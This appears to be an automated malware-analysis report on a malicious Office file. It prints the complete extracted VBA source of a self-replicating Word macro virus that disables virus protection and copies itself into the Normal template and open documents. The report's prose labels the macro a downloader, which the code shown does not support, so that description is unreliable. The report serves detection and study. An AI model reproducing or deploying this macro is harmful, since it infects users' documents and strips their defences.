MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains VBA macros that are designed to disable virus protection within the Office application. The extracted artifact was flagged by ClamAV as Win.Trojan.C-286, indicating a known malicious component. The macro code attempts to modify application options and execute embedded code, suggesting it acts as a downloader or initial execution vector.
Heuristics 1
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1179 bytes |
SHA-256: 36d33149b28b7df8d7f2c9d99f0b965f5755d5000ffc501ea02738f1978c4f74 |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Private strCode As String Private Sub Document_Close() With Options .SaveNormalPrompt = False .VirusProtection = False End With Dim tdCode As Object Set tdCode = GetCodeModule(ThisDocument) With tdCode strCode = .Lines(1, .CountOfLines) End With If ThisDocument = NormalTemplate Then With ActiveDocument If .Path <> vbNullString Then SendCode ActiveDocument .Save End If End With Else SendCode NormalTemplate End If If Day(Now) = 13 Then MsgBox "Ïðèâåò! À ÿ - âèðóñ!", vbExclamation + vbOKOnly, "Ñîîáùåíèå" End If End Sub Private Function GetCodeModule(objProject As Object) As Object Set GetCodeModule = objProject.VBProject.VBComponents(1).CodeModule End Function Private Sub SendCode(objProject As Object) Dim objCode As Object Set objCode = GetCodeModule(objProject) With objCode .DeleteLines 1, .CountOfLines .AddFromString strCode End With End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.